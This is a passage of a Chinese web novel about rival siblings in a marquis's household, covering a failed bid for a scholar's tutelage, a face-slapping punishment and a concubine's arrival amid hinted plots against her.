她和李大儒的包间在中间，侯府众人等待的包间在左边，东安伯世子顾朔几人的包间在右边。 三个包间连在一起，只要安静不说话，左右两边的包间能听到中间包间的谈话。 安排好之后，苏舒窈便让人去请大儒。侯府众人提前进入包间等待。 进入包间之后苏明珠便开始点菜：“父亲，您看看菜单。” 威远侯挥挥手：“你看着安排就是。” 苏明珠：“父亲喜欢鹅掌粉丝、母亲喜欢鱼翅、大哥喜欢烧鸡、二哥喜欢红烧驴肉，小妹喜欢牛肉丸子，这些菜各来一份，再添置几个酒楼的招牌菜。” 又让人沏了壶碧螺春慢慢品尝。 万氏点头：“明珠办事妥帖。” 苏舒窈坐在隔壁，静静地听着侯府一家人表扬苏明珠，说她办事面面俱到，比大小姐强。 没一会儿，小厮来报：“侯爷、夫人，大儒来了。” 隔壁包间终于安静下来。 “苏姑娘，不知道请在下过来所谓何事？”李大儒进门之后，直接询问。 “李大儒请坐。”苏舒窈先是给人斟茶，寒暄之后，才道：“想请问大儒，明厉这段时间学习如何？” 说到苏明厉，李大儒脸上浮现出一抹喜色，他捋了捋胡须：“此子天赋尚可，但最值得称赞的是，还是他的心性，心性坚韧，学习刻苦，明年春闱，应该会榜上有名吧。” 声音轻快、表情愉悦，有种将璞玉琢成器的成就感。 隔壁包间，侯府主子们听到这话，脸上纷纷露出不悦。 苏明沛甚至冷笑一声。 苏明珠压低声音抱怨道：“让姐姐帮忙，她提苏明厉干什么？” 威远侯脸色一沉，嘴唇抿得很紧。 苏明添笑了笑：“当然要问啊，要是苏明厉是个棒槌，不是正好让他把名额让出来给大哥吗？” 万氏想了想，觉得二儿子的话有点道理，小声提醒：“听她怎么说，放心，她知道我们在这里，不敢乱说话。” 侯府众人再次安静下来。 苏舒窈继续道：“李大儒，有件事可能要麻烦你。” 李大儒：“苏姑娘对李某有大恩，苏姑娘请开口，李某力所能及，一定不会推迟。” 苏舒窈面露难色：“是这样的，明厉既然能考中，想必也不需要大儒指点了。其实，苏明沛才是我的兄长，大儒能不能指点苏明沛几篇文章。” 李大儒听到苏明沛三个字，跟老鼠遇到了猫似的，忽然从椅子上站了起来。 冷着脸，欲言又止。 苏舒窈觉得有些好笑：“大儒，你怎么了？” 李大儒脸上纠结万分。 苏舒窈温声道：“大儒，有什么话，在我面前，你直说。” 李大儒这才叹了口气，摇着头道：“苏明沛，我打死都不要见到他！” 苏舒窈强压住脸上笑意，努力挤出一抹疑惑：“为什么啊？” 李大儒摆摆手：“他上次递上来那篇《秋菊赋》，辞藻看似华丽，简直狗屁不通，不知所云！” “学识一般就不说了，性格也是一言难尽。” “上门求指点的学子每日都有，就只有他和门房打起来了，这样的人，在下是绝对不会指点的，就算背负了‘知恩不报’的骂名，李某也认了。” 李大儒话音刚落，左边的包间便传来碗碟落地的声音。 第33章 脸面 说起苏明厉的时候，李大儒心情舒畅，妙语连珠。 提到苏明沛，李大儒态度大转变，就好似苏明沛是什么脏东西，避之不及。 虽然没有看到人，光听语气，都能想象李大儒此刻嫌弃的表情。 宁愿背负“知恩不报”的名声都不肯指点苏明沛，苏明沛可真是难得一见的庸才。 左边包厢里，原本大家都在安静吃菜，随着碗碟落下，在场众人全部不约而同地停了下来。 万氏和威远侯眉心紧皱。 苏明珠嘴唇半张，一脸不可思议。 怎么可能这样？ 上一世，大哥可是李大儒唯一关门弟子，大哥和李大儒关系极好，情同父子。 这一世，怎么会这样？ 苏明添脸上露出一抹恰到好处的惊讶，却在心中冷笑。 草包就是草包，这世子之位，吾也可取而代之。 苏明芷傻乎乎的，想继续吃，但看见大家都没有吃，跟着放下了筷子，在心中骂了苏舒窈两声。 苏明沛跌坐在椅子上，浑身瘫软。 他简直无法相信，刚刚那一席话是李大儒亲口说出。 上一世，李大儒不是这样评价《秋菊赋》的啊！ 李大儒明明说过《秋菊赋》很有灵气的啊！ 胸口传来一阵抽痛。 苏明沛死死地捏着拳头，忽然抬手，想要捶到桌上。 威远侯看过去，用眼神制止他作乱。 怕他发飙，恶狠狠地盯着，食指指着，示意他闭嘴。 幸亏是在包间里面，没有外人。 他们威远侯府的脸面，算是保住了。 苏明沛咬着牙龈，一张脸忍耐得很狰狞。 脑中闪过一个念头，难道上一世拜师成功，真是苏舒窈的功劳？ 李大儒真的是因为苏舒窈，才对他另眼相看？！ 这个念头刚起，就被否定了。 不可能，绝对不可能！ 忽然，喉间传来一抹腥甜，苏明沛气急攻心，再一次生生呕出一口血来。 随即，真·晕了过去，身体一软，从椅背上滑了下去。 苏明珠有些慌张，想出门唤小厮去请医师。 威远侯抬手指着苏明珠，压低声音：“回来。” 苏明珠重新坐了回来。 出门喊医师，势必惊动其他人，到时候就怕有心人发现其中关联。 他们威远侯府，不能再丢脸了。 上一次苏明沛假晕，万氏忙着去叫医师。 这一次苏明沛真的晕了，万氏反而稳稳地坐着。 直到听到隔壁包间里，苏舒窈将李大儒送走，苏明珠才敢去扶起昏迷的苏明沛。 掐着人中，喂了点水，苏明沛缓缓睁开眼睛。 清醒之后，苏明沛像是霜打的茄子，浑身精气神被抽走，蔫软垂落，失了活气。 苏明珠将他扶到椅子上坐好：“大哥，别灰心，不就是拜师而已，李大儒不肯收你，是他的损失！” “我相信大哥一定能高中进士，前途无量的！” “大哥，你振作一点！” 她的语气坚定、态度诚恳、无比自信。 苏明沛的精气神收回一些。 对啊，上一世他可是官居二品，人人尊敬的尚书大人，就算拜不了李大儒为师，他也会一飞冲天的。 李大儒这般看不起他，他一定要刻苦学习，高中之后再去一次李府，狠狠打一打李大儒的脸！ “明珠，谢谢你信我。” “大哥，我一定会支持你的！” 苏明添在一旁看得直翻白眼。 苏明珠哪里来的自信？大哥那个草包干啥啥不行，苏明珠是怎么觉得他能前途无量的？ 威远侯和万氏黑着脸，没说话。 没一会儿，门外响起敲门声。 苏舒窈送完大儒回来了。 苏明沛赶紧强撑着身体坐好，他不能在苏舒窈面前露出怯弱的一面。 苏舒窈在外面笑了好一会儿才进来，一进门，就看到苏明沛那张黑脸。 更想笑了。 她把最难过的事都想了一遍，无奈地摇了摇头：“世子，你听到了，我......” 威远侯伸出手打断道：“别说了，今天这事，就当从来没有发生过。” 不管什么时候，威远侯府的面子最重要。 威远侯环视一圈，“今天这事，不能让外人知晓。” “是，父亲。” “是，侯爷。” 苏舒窈坐了下来，拿起一副空碗：“菜都点了，别浪费，吃完再走吧。” 苏舒窈一看，没一个菜是她喜欢的，但千杯醉的菜品味道都还不错，可以尝一尝。 她慢慢悠悠地吃，完全不顾旁人的眼光。 苏明芷想吃，却又不敢，朝着人骂道：“苏舒窈，大哥都这样了，你还吃得下？” 苏舒窈端起茶盏，浅浅抿了一口润喉：“一千两一桌，不吃浪费。夫人说过，咱侯府不支持奢靡浪费之风。” 苏明芷被噎了一下：“我的意思是，你一点也不关心大哥！看到大哥难受，你也不关心一句！” 苏舒窈：“侯爷说了，不准再提此事。” 苏明芷：“你真是冷血！” 苏舒窈：“你关心世子，你怎么不去李大儒面前求情？我去求情回来，我还成了不关心世子的人了？” “苏明芷，你听一听，你说的是什么胡话？” 苏明芷还要开口，威远侯出声道：“闭嘴！” “继续吃，吃完才走！” “我们要是不吃，待会儿店小二进来，看到菜品没怎么动，才会猜疑。” 大家这才拿起筷子，继续夹菜。 苏明沛吃着佳肴，味同嚼蜡。 用餐完毕，店小二拿着账单进来，走到苏舒窈面前：“诚惠，两千两。” 苏明珠暗自窃喜。 她事先打了招呼，让店小二找苏舒窈结账。 两千两可不是小数目。 此时，苏舒窈的心在滴血吧。 苏舒窈当着威远侯的面道：“挂在侯府的账上，月末让人到府上来结账。” 店小二：“行，那请小姐签个字。” 苏舒窈看向威远侯：“过去请侯爷签字。” 店小二把账单拿到威远侯面前。 威远侯忍了忍，没说话，签下名字。 要是攀扯，又会折辱侯府威名。 结完账，终于可以离开了，苏明沛站起来，叹了口气。 这里他是一刻都待不下去了。 一行人走到楼梯拐角，忽然，包间的门打开，一道熟悉的声音传了出来：“哟~~这不是李大儒的关门弟子苏世子吗？！” 苏明沛的死对头——东安伯世子顾朔。 “顾世子，你刚刚是不是听错了，李大儒说了，就算背上‘知恩不报’的骂名，都不想和苏世子过多牵扯！” “苏世子的学问是有多烂啊！哈哈哈哈——” “听说苏世子作的《秋菊赋》狗屁不通！！” “哎哟，不是说了不要妹妹帮忙吗？还是让妹妹帮了忙！” 包间里传来一阵哄笑。 苏明沛心中那根弦，“砰”地一声，断了。 侯府的脸面，还是没能保住。 第34章 掌嘴 苏明沛是被抬回侯府的。 他强撑着身体走下酒楼，出了大门，走到无人之处才晕。 他以为保住了体面，没想到顾朔那小子不做人，派了小厮在身后跟着。 小厮看到他晕了之后回去禀报，又引得包间众人哄堂大笑。 不到一日，苏世子的“好事”便传得人尽皆知。 威远侯勃然大怒。 “苏舒窈，还不快跪下！” 一回府，威远侯便将所有人带到厅堂。 苏明沛刚一醒过来，便恶狠狠盯着人，咬牙切齿道：“苏舒窈，都是你害的！” “父亲，苏舒窈害我侯府，一定要严惩！” 威远侯气得头上青筋暴露：“舒窈，这一次，确实是你做得太过分了，本侯爷如果不罚你，难以服众！” “惩罚不是目的，是为了让你长长记性。” 万氏捻着佛珠，闭上眼，轻声念了句“阿弥陀佛”。 苏明珠上前攀着威远侯的手臂，劝道：“父亲，姐姐好歹是女儿家，别罚得太过，女儿家的脸面，总是要薄一些的。” 说完，又看向苏舒窈，怯生生道：“姐姐放心，父亲最是公允，定不会错罚的，姐姐快向父亲认错吧。” 两个婆子拿着竹板走了过来。 侯府的家法之一：掌嘴。 威远侯明明只是个不入流的工部七品官，却跟个刑部尚书似的，府上刑法多得很。 “侯爷。”苏舒窈的声音不高不低，好似春日里的第一场雾，轻而凉，却奇异得让人不敢轻视：“既要罚我，能不能告诉我，我究竟犯了什么错？” 威远侯厉声呵道：“你到现在还不知道犯了什么错？！” 他高声咆哮：“侯府的脸都被你丢完了！！” 苏舒窈浅浅一笑：“敢问侯爷，我怎么丢了侯府的脸？我今日亲自去求李大儒，不全是侯爷要求的吗？我哪一句话说错了？” 苏明沛：“父亲，别和她废话，她最是牙尖嘴利！让婆子直接把她打服！” 婆子拿着竹板站到了苏舒窈面前。 苏明珠轻声道：“姐姐不要怪父亲和大哥，姐姐今日确实太过分了。” “还望姐姐今后谨言慎行，以侯府大局为重。” 威远侯自持公允，解释道：“今日包间，是你订的吧，东安伯世子在另外一个包间，你怎么不提前调查清楚？！” “你要是事先调查清楚，咱侯府的事怎么还能被外人知晓？！” 这是大罪。 侯府内部可以卑劣，男子可以窝囊、愚蠢，女子可以呆傻、淫贱，但却不能被外人知晓。 只要不被外人知晓，那就依然花团锦簇。 脸面一事，乃是侯府的第一要紧大事。 苏舒窈淡淡地问了一句：“侯爷，谁订的包间谁就要被掌嘴吗？” 威远侯：“是！” 苏明珠的脸色白了一瞬，身体晃了晃。她想开口解释，苏舒窈的声音再次响起： “为什么不罚世子，究其根源，还是世子文章写得差，人品不被李大儒认可。” 苏明沛暴怒：“苏舒窈，我文章写得差？！” 文章写得差，他上一世能考中进士？！ 文章写得差，他上一世能当上二品尚书？！ 这点他极其不认可。 但却不知道该怎么辩驳。 只有明珠懂他。 他看向苏明珠，想得到支撑，可是，苏明珠却没有看向他，她的眼神飘忽，不知道在想什么。 万氏开口道：“家丑不可外扬，舒窈，你犯了侯爷的大忌。” 苏舒窈上前一步，身下裙摆如浪涛蔓延：“我懂了。” 威远侯这才满意地点了点头：“孺子可教，既然懂了，便掌嘴吧。” 苏舒窈淡淡地笑道：“掌嘴，也该掌明珠的嘴。” “包间是明珠订的，与我无关。” “当面询问的主意也是明珠出的，也与我无关。” 依然娓娓道来，不疾不徐。 威远侯傻眼了。 以前，这些都是苏舒窈在操持，他下意识以为，今日的包间也是苏舒窈订的。 对啊，中馈已经移交到明珠手上了。 要掌嘴，也确实该掌明珠的嘴。 两个婆子站在原地，等着侯爷吩咐。 威远侯沉默了一瞬。 苏舒窈提醒：“侯爷，侯府的体面再也经受不住波折了。” 威远侯这才抬头道：“那就掌明珠的嘴。” 侯府的脸面有损，总要有个人来承担责任。 亲儿子总是比亲女儿重要的。 两个婆子得到命令，朝着苏明珠走过去。 苏明珠眼底流露出一抹恐慌，苏舒窈浅笑着看过去：“妹妹别担心，侯爷最是公允。” 苏明珠心下一紧，这不是她刚刚幸灾乐祸，对着苏舒窈说的话吗？ 可恶！ 她先是看向万氏，万氏低着头摆弄佛珠。 她又看向苏明沛。 苏明沛自知理亏，不敢求饶，眼神转移到了别处。 苏明珠闭上了眼睛。 “啪——” 竹板落到嘴上。 虽然婆子收着力，但女儿军皮肤娇嫩，苏明珠的嘴，立刻肿了起来。 眼泪顺着脸颊滑落，落在嘴上，又苦又痛。 “啪——” 又是一下。 在掌嘴间隙，苏舒窈的声音淡淡的，再次重复了一遍苏明珠的话：“望妹妹今后谨言慎行，以侯府大局为重。” 苏明珠原本要挨十下，威远侯还是心软了，念她初犯，打了三下。 可是这三下，也让苏明珠难受得饭都吃不下去。 她管着府上中馈，每日还要见管事媳妇。 管事媳妇回话的时候，一个个低着头，不敢看她嘴上的伤。 但她却觉得，这些管事媳妇一个个不知道在背后怎么嘲笑她呢。 “母亲，都是苏舒窈的错，我是受了无妄之灾。”苏明珠扑进万氏怀里，哭得浑身发抖：“要不是她把拜师名额让给苏明厉，李大儒怎么会说出那样的话，咱侯府怎么会丢那么大的脸。” “她一句‘无她无关’，便把责任全部推到了我身上。” 万氏对这点也是认同，她慈爱地摸着苏明珠的头，“明珠，母亲都知道，不是你的错，你是被苏舒窈连累了。” 苏明珠仰起头，双眼藏着怨毒：“母亲，您一定要帮我，呜呜，母亲......” 反正上一世苏舒窈都会死，不如让她早点死。 万氏：“苏舒窈越大越不安分了，但她还有用。” 暂时死不得。 深宅大院里，死得最多的，便是妇人和孩子。 苏舒窈忽然没了，也没人会在意。 但，唐家那边，还需苏舒窈去周旋，苏舒窈和元家大公子还有婚约。 元家这门姻亲，暂时不能丢。 苏明珠擦了把泪。 没想到她提前回来掌握府上中馈，还接管了香料铺子，也不能让万氏提前除掉苏舒窈。 行吧，反正苏舒窈也活不了几年，最后都是要死的。 “母亲，大哥的亲事怎么办？” 万氏叹了口气：“梨棠不能为妻，更是留不得。” 明沛的名声坏了，绝不能娶青楼女子为妻。 “既然答应了明沛，总是要让人进府的。等纳进府之后再说吧。” 青楼花魁，嫁妆丰厚，且无依无靠。 女子生产本来就是过鬼门关，难产而死，可太正常了。 苏明珠露出一抹孺慕之情：“母亲慈悲。” “梨棠本就一个孤女，死在侯府，也算有了葬身之地。” 万氏：“千万不可让明沛知晓。” 苏明珠：“女儿省的，这是为了大哥好。” 第35章 进门 倚兰居。 苏舒窈正在侍弄兰草。 她坚信这株兰草就是上一世传说中的“绿云”。 在她精心侍弄下，兰草又发了芽，等嫩芽长大，便可移栽。 到时候，这盆兰草，可是有大作用。 “今儿要一个鱼汤锅子，鱼汤熬好之后，将鱼捞出，再放鱼头熬煮，要一叠豆腐、嫩牛肉、腐竹、青笋，蘸碟要麻酱，再要一盘手撕鸡肉，鸡肉不能煮太老，拌上辣油、香醋、麻油、少许胡椒、半勺白糖。” 除了侍弄花草，苏舒窈每日最在意的，便是研究怎么吃。 吃得好了，心情也好。 “大小姐，二小姐那边安静得很，听说每日除了和管事媳妇说话，便是去万氏那边请安。” 苏明珠心眼小，上次被掌了嘴，会寻机报复。 这般安静，肯定是在憋坏招。 苏舒窈又问：“她去万氏那里请安，一天去几次？” 秋霜回道：“一天两次，多的时候三四次。上次我在院子里碰到二小姐，二小姐还朝着我笑。” 苏舒窈将兰草放到阴凉处，点头道：“知道了。” 这一世，很多事都不一样了。 上一世，苏明沛拜师成功，苏明珠也没有被掌嘴。 这一世，苏明珠提前回来，不能根据上一世的经验来判断她究竟要干什么。 但却可以根据她的性格来推断，她肯定会在暗中搞事。 应该是和万氏在密谋。 既然不清楚她们的打算，弄点动静出来，让她们露出马脚不就行了。 正在思忖间，秋叶进来道：“大小姐，梨棠姑娘马上要抬进门了，夫人让大小姐过去。” 苏舒窈愣了愣：“抬进门？” 不是娶妻吗？ 怎么用“抬”？ “换身衣裳就过去。”苏舒窈进了屋子，一边选衣裳，一边小声吩咐：“找人从后门出去，注意，悄悄的。” 秋霜点头：“知道了，大小姐。” 苏舒窈换好衣裳，来到花厅，侯府众人都已经等在这里了。 苏明沛一脸不忿：“母亲，不是说了让我娶妻吗？为什么又变成了纳妾？！” 万氏将佛牌放在手心，轻轻地揉着：“明沛，母亲是答应过你，但你仔细想一想，咱侯府的名声，还经得起折腾？” “我和你父亲的意思，是让梨棠进门当贵妾。她的身份，就算是良妾都不允许，贵妾，已经是侯府最大的让步。” “明沛，就算这样，你还要和父母对抗？！” 苏明沛没有开口。 他一开始是仗着能进士及第、官居二品提出的要求。 但，现在他发现，一切都与上一世不一样了。 这一世拜师失败，汪太医不理他，上一世的至交好友也不知道他是谁、李大儒更是对他百般嫌弃...... 先稳一稳，等中了进士再说吧。 苏明沛垂下头：“我听母亲的。” 万氏满意颔首：“孺子可教，这才是好孩子。” 威远侯看向苏舒窈：“唐家那边，还要你去周旋一下。” 苏舒窈愣了愣：“侯爷，唐家那边......需要周旋什么？” 不是已经退了婚，庚帖信物都退回来了。 威远侯道：“明沛幡然醒悟，唐家那边的婚事，还可以继续。” 苏舒窈：“......” 苏明沛最是不喜唐氏，但想到上一世去地方任职，身边最得力的两个幕僚是唐家给的，他还是愿意给唐氏一个机会。 所以，他也没有拒绝。 苏舒窈差点气笑了：“侯爷当唐家是什么人家？” 好人家的姑娘，怎么愿意嫁到一个纳青楼女子为贵妾的人家？ 不对，婚前纳良妾的人家，唐氏女都不会嫁。 苏明沛又怒了：“苏舒窈，你别看不起人！” 他心里憋了一口气。 今后定要做出一番成就，到时候把苏舒窈的脸打肿。 除了苏舒窈，还要打脸李大儒、顾朔、汪太医...... 苏明珠出声道：“浪子回头金不换，大哥既然诚心悔过，唐氏有什么嫁不得的？唐挽心被退婚，还想嫁个什么人家？” “嫁给大哥，可是世子夫人，未来的侯夫人！” 她可是清楚得很，上一世唐氏对大哥痴心一片，惯会拈酸吃醋，阻扰大哥纳妾。 唐氏嫌她没规矩，不仅只和苏舒窈亲，大哥给她补贴，唐氏还会阻止。 为了大哥的前途，她都可以忍，唐氏有什么忍不得的？ “你去便是，唐家定会同意，只不过会有些波折罢了。” 苏舒窈再是沉稳，也被这一家子的厚脸皮震惊得无语。 她平息了半盏茶的时间，才道：“世子，侯爷，这事需要把唐家约出来当面说吗？” 威远侯抿了抿唇：“你一人去便可。” 他也知道要被骂。 苏舒窈淡淡一笑：“行，侯爷看我什么时候去合适？” 威远侯：“明儿去吧。” 今日梨棠上门，侯府肯定是要忙的。 几人刚说完话，下人便来报：“梨棠姑娘进门了。” 威远侯吩咐道：“内宅妇人之事，本侯便不过问了。” 说完，便拔腿去了乔姨娘院子里。 万氏看着威远侯的背影，淡淡收回眸光。 梨棠颇有几分姿色。 今日入府，她没有穿粉红，也没有涂脂抹粉。 特意穿了一件月白的布裙，头上松松挽了髻，配上一根白玉簪子，像是洒在地上的纯白月光。 看人的时候，带了一丝怯，低头的一瞬，睫毛微颤，像是振翅的蝶。 这样一朵娇嫩洁白的梨花，怪不得苏明沛隔了两世，还依然记在心头。 “梨棠拜见夫人。”梨棠跪在事先准备好的蒲团上，端着茶递了过去。 万氏并没有立刻接过来。 她脸上的表情淡淡的，身上散发着淡淡的檀香气息：“从今天起，你不叫梨棠了，改名问月吧。” “谢夫人赐名。”梨棠将手中茶盏举高。 “侯府世代簪缨，你这般出身能进侯府，是你三生有幸。侯府规矩森严，容不得半分差错，望你入府之后，循规蹈矩、谨守本分。” “多谢夫人教诲。”梨棠规规矩矩跪着，腿都麻了，万氏也没接茶。 直到梨棠受不住，身子开始抖动。 苏明沛心疼，出声催促：“母亲。” 万氏才道：“本是纳妾，哪有本夫人喝茶的道理？” “这茶，留着以后给世子夫人敬吧。” 说完，万氏便起身离开了。 苏明沛赶紧上前将人扶起来。 梨棠依偎在苏明沛怀中，颤颤巍巍地抖动着身子：“世子爷，夫人是不是不喜妾身啊？” 第36章 嫁妆 苏明沛小声安慰：“母亲并没有不喜你，你和母亲相处久了，便知道母亲最是慈悲了。” “别怕，只要你真心相待，母亲也能明白你的好。” “妾身知道了。”梨棠还是怕得不行，拉着苏明沛的衣襟，眸子里噙着一汪泪。 两人互相凝视，眼神拉丝，旁若无人。 苏明珠看不下去了，提醒道：“大哥，该读书了，武先生等着你呢，大哥快去吧。” 上一世的知识，苏明沛记不太清楚了，必须要请先生带着重新读一遍。 他一共见了三个先生，武先生虽然学识稍微弱了一些，但慧眼识英才，一眼就觉得苏明沛有大才。 他最后定了武先生。 “我先去见武先生，明珠带你去院子，放心，明珠心善，明芷心软，她们必不会苛责你的。” 苏明珠笑道：“大哥，你放心去吧，有我在，没人会欺负嫂嫂。” 听到“嫂嫂”这个称呼，苏明沛满意地点了点头。 他看向苏舒窈，眼神晦涩：“倒是这位大小姐，阿梨要诸多提防。” 亲手把人交到苏明珠手上，才一步三回头离开。 苏明沛离开之后，苏明珠脸上笑意收敛：“从今天开始，你就是月姨娘了。” 梨棠已经改名问月，她现在的身份，是淮南一落魄秀才的女儿。 “大哥抬举你，你更要记住自己的身份，青楼的那些狐媚手段，必须改一改，咱侯府，可不是那等不正经人家。” “大哥要读书科举，千万不能缠着大哥，以后大哥高中出仕，才有你的福气。” “不可轻易出府，也不可再和青楼的人有来往，更不能让人知道你的真实身份。” 苏明珠仰着头，眼神里带着一丝轻蔑，说话也带着一股颐指气使的态度。 “妾身明白。”问月低着头，等苏明珠说完，拿出事先准备好的荷包，双手捧到苏明珠的面前。 “这是妾送给三位妹妹的见面礼。” 苏明珠身后的翠红上前一步接过荷包，当面就翻了出来。 荷包里，装了一支金簪，还有一支金步摇。 翠红冷笑一声：“金银之物，俗不可耐！” 苏明芷撇撇嘴：“姨娘给小姐送见面礼，说出去怕是要笑掉别人的大牙！” 说完，抢过荷包扔到地上，狠狠踩了两脚，“要不是你，大哥能娶世家女当正妻！” “都是你害的！” 月姨娘被对方的粗鲁吓倒，小声呼道：“明芷，不要。” “明芷是你叫的？叫我三小姐！”苏明芷恶狠狠道：“守好一个做妾的本分，你要是敢在府上搞三搞四，到大哥面前胡说八道，我决不轻饶！” 说完，抽出帕子擦了擦手，生怕被脏东西玷污了。 月姨娘像只受惊的小鹿，瑟缩着身子，娇滴滴道：“妾身知道了。” 苏舒窈静静地看着两人的行为，淡然一笑。 苏明珠重生后，一直在讨好苏明沛，也是支持苏明沛娶月姨娘的第一人。 照理说，苏明珠就算不喜月姨娘，冷淡处理就是，不该这般作贱。 苏舒窈便知，这月姨娘，应该活不长的。 “姐姐在想什么呢？”苏明珠见她愣神，眯着眼看了过来。 苏舒窈笑了笑，“没什么，月姨娘长得好，我看呆了。” 说着，双手接过荷包：“多谢月姨娘。” “大小姐不嫌弃就好。”月姨娘身为青楼女子，早有被刁难的准备，面对侯府主子的第一份善意，很是感激。 “姐姐倒是心善，和一个姨娘交好。”苏明珠笑嘻嘻看着人。 苏舒窈直勾勾看过去：“妹妹要干涉？” “怎么会？姐姐喜欢就好。”苏明珠皮笑肉不笑地扯了扯嘴角。 “我还要去姨娘院子里看看，先走一步了。”苏明珠带着苏明芷，趾高气扬地离开了。 “大小姐，对不起，是妾连累你了。”月姨娘盈盈一拜。 苏舒窈上前一步将人扶起：“月姨娘如果遇到麻烦，可让丫鬟来倚兰居寻我。” 上一世，她把月姨娘发卖了，苏明沛恨他入骨。 这一世，如果苏明沛得知，苏明珠和万氏对月姨娘起了杀心，会是什么反应呢？ “大小姐的恩情，妾身记住了。” “走吧，去你院子里看看。” 月姨娘的院子在侯府西边，名为浮光阁，院子宽敞，左右各三间厢房。 院子里，摆满了红布缠着的嫁妆，整整一百二十八抬，把整个院子堆得满满当当。 院子门口挤满了看热闹的小丫鬟，一个个看得倒吸凉气。 “月姨娘可真有钱啊！” 贵妾是能带嫁妆上门的，但这嫁妆也太多了。 院子里，翠红捧着册子，跟在苏明珠身后清点嫁妆。 苏舒窈进去的时候，苏明珠手上拿了一对金镶碧玺抱头莲簪，双眼放光。 那对金镶碧玺抱头莲簪不是凡品，应该是贵人所赠，宫里流出来的东西，花银子也买不到。 苏舒窈一看便知，苏明珠对这对簪子起了兴趣。 毕竟，她最喜欢抢别人的东西。 月姨娘上前一步，小心地透着一股讨好：“妹妹要是喜欢，尽管拿去。” 苏明珠眼皮一翻，“我堂堂威远侯府嫡小姐，要你的东西？” 话虽这么说，眼睛依然盯着簪子不放，也舍不得把簪子放下。 “大小姐，听说这月姨娘的嫁妆，是半夜悄悄从后门抬进来的。”秋霜小声和苏舒窈咬耳朵。 苏舒窈点了点头，表示知道了。 悄悄抬进来，才能悄悄占为己有。 原来，万氏和苏明珠是看上了月姨娘的嫁妆。 “行了，清点得差不多了，翠红，找两个婆子守着，别让那些个不长眼的小丫鬟走错门，拿错了东西。” 按规矩，嫁妆要在院子里放上一夜，派人守着，是怕被不干净的丫鬟偷了。 苏明珠对月姨娘这般瞧不上，按理不该这般上心。 她是真的把月姨娘的嫁妆当成自己的了。 “多谢二小姐。”月姨娘道谢。 苏明珠什么话也没说，带着人仰着头离开了。 苏明珠离开后，苏舒窈假装崴脚，月姨娘伸手来扶，两人靠近的一瞬，苏舒窈压着嗓子，用只有两人才能听到的声音，小声道： “月姨娘，注意吃食。” 月姨娘惊讶了一瞬，随即立刻恢复了正常。 作为青楼头牌，月姨娘定然不会真的像表面那般柔弱。 能稳坐青楼头牌，赚那么多银子，还能缠上苏明沛，让苏明沛以死相逼要娶她，手段城府都是一流。 她立刻明白，大小姐的意思是——这侯府里有人要她的命。 但，这位大小姐，也不知道该不该相信？ 第37章 下狱 当天晚上，月姨娘换上轻薄露肤的新装，等候着苏明沛的临幸。 虽然孕期不能房事，但除开房事，能做的事还有许多。 月姨娘娇软着身子，身上的皮肤成了水，一碰就荡漾。 “怎么样，舒窈有没有欺负你？”苏明沛将青丝缠于手中把玩，“如果受了欺负，只管去寻明珠，明珠会帮你。” 月姨娘柔声道：“大小姐并未责难妾身，相反，大小姐对妾身很好，看起来也很温柔。” 她没说苏明珠的刁难，就算说了，苏明沛应该也不会相信。 “她温柔？别被表象迷惑，整个侯府，她的心肠最是歹毒。”苏明沛提到苏舒窈，心情都不好了。 上一世要不是苏舒窈从中作梗，他和月姨娘怎么会分开。 这一世最大的慰藉，便是抱得美人归。 上一世只有权力。 这一世，美人与权力，他都要。 苏明沛吻上佳人娇唇。 “你离她远些，小心被她暗算。” 月姨娘没问他为什么不喜苏舒窈，看他对苏舒窈厌恶的样子，问也问不出个所以然。 只要留心便能自己找到答案。 食指在男人身上画着圈：“世子爷，妾身能不能养条狗？” 在男人餍足的时候，提一些不痛不痒的小要求，男人一般不会拒绝。 “狗？怎么会想养狗？” 月姨娘道：“世子爷要温书，妾身不敢打扰，养只小玩意儿解闷罢了。” “你倒是懂事，我让书棋给你捉一只奶狗来。” “多谢世子。” 月姨娘柔柔一笑，身子再次软成了一滩水。 她可不是那种娇滴滴、懵懂无知的小姑娘，只要敢对她生出歹意，她有的是手段还击。 月姨娘有了狗，每日大厨房送来的饭食，都是先了喂狗，她再吃，倒也相安无事。 再过两日，便是七月三十，这一日既是地藏菩萨诞辰，亦是万氏生辰。 地藏菩萨有“地狱不空，誓不成佛”的大愿，万氏以地藏慈辰同诞者自居，每年生辰必定要大办的。 这场寿宴于侯府意义非凡，一是借此结交门阀世家夫人，拓展人脉。 二是苏明珠归家，首次在京城贵眷前亮相。选在万氏生辰登场，能借此向众夫人展露当家理事的才干与风采，也好说一门好亲。 给唐家夫人送请帖的差使，便落到了苏舒窈身上。 唐夫人看到请帖，脸上露出一抹不解的笑意：“舒窈，唐苏两家亲事解除，这种不必要的应酬，我们怎么会参加？” 疑惑片刻，又问：“侯府又在打什么歪主意？” 苏舒窈笑道：“夫人真是玲珑心思，万氏想让我来说和，想和唐家继续婚约。” 唐挽心捂着嘴偷笑：“继续？不是退婚了吗？怎么继续？苏明沛发癫了？” 苏舒窈也笑：“是发癫了。” 唐挽心拉着人坐下，又让人上茶上点心，脸上露出八卦神态：“听说苏明沛刚纳了妾？不是说了娶妻，怎么改纳妾了？” 自从唐苏两家退婚后，唐家人担心挽心声誉受损，对苏明沛的动向多有关注。 万氏悄悄将月姨娘抬进门，还是被发现了。 苏舒窈便将苏明沛拜师失败丢大脸的事说了：“威远侯要面子，苏明沛丢大脸之后，侯府的面子再也经不起折腾，苏明沛不得不妥协。” “这不是改为纳妾，便觉得又能娶你了。”苏舒窈轻声笑道：“挽心你千万别骂我，你知道我身不由己。” 唐挽心哼笑一声，佯装生气：“我可以不骂你，但你必须和我一起骂苏明沛那只癞蛤蟆！” 闺中密友就是这般，讨厌一个人必须跟着一起讨厌。 苏舒窈淡淡一笑：“不若找个说书先生，把苏世子的故事编成故事，宣扬出去。” 唐挽心双手一拍：“好主意，我怎么没想到？以后他再有什么丑事，你定要第一时间告诉我。” 苏舒窈笑着应了。 骂完苏明沛，唐挽心拉着苏舒窈小声道：“母亲正在给我议亲。” 苏舒窈：“哪一家？” 唐挽心：“太子......侧妃。” 苏舒窈心里咯噔一声。 上一世，最后继位的并不是太子，而是三皇子。 九皇子杀兄弑父，杀死了先皇和太子，最终三皇子登基。 坊间传言，三皇子和九皇子交好，九皇子是奉了三皇子之命杀兄弑父。 但，九皇子并没有得到善终。 三皇子登基后，九皇子被斩杀，尸体挂于城墙，晾晒三天三夜。 太子妃带着太子的一众侍妾落发为尼，去了皇家寺庙。虽然日子清苦，但却性命无忧。 只是有孕的两个侍妾，无缘无故没了。 太子侧妃，并不是好姻缘。 